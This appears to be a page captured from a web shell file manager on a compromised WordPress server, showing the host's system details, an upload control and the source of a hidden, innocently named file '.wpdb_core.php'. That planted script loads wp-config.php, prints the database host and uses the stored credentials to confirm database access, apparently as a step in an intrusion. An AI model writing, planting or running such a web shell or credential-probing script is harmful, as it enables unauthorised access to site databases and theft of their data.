HEX
Server: nginx/1.18.0
System: Linux mail.dakarash.co.id 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User: www-data (33)
PHP: 8.1.2-1ubuntu2.23
Disabled: NONE
Upload Files
File: //proc/thread-self/root/proc/self/cwd/.wpdb_core.php
<?php
header('Content-Type: text/plain; charset=UTF-8');
$cfg = __DIR__ . '/wp-config.php';
if (!is_readable($cfg)) { echo "ERR: wp-config.php not found\n"; exit; }
require_once $cfg;
require_once __DIR__ . '/wp-includes/wp-db.php';
echo 'DB_HOST='.(defined('DB_HOST')?DB_HOST:'(undef)')."\n";
$wpdb = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);
if (empty($wpdb->dbh)) {
  echo "WPDB_CONNECT_ERR: ".$wpdb->last_error."\n";
  exit;
}
$r = $wpdb->get_row('SELECT DATABASE() db, VERSION() ver', ARRAY_A);
echo "WPDB_OK DB=".($r['db']??'(?)')." MySQL=".($r['ver']??'(?)')."\n";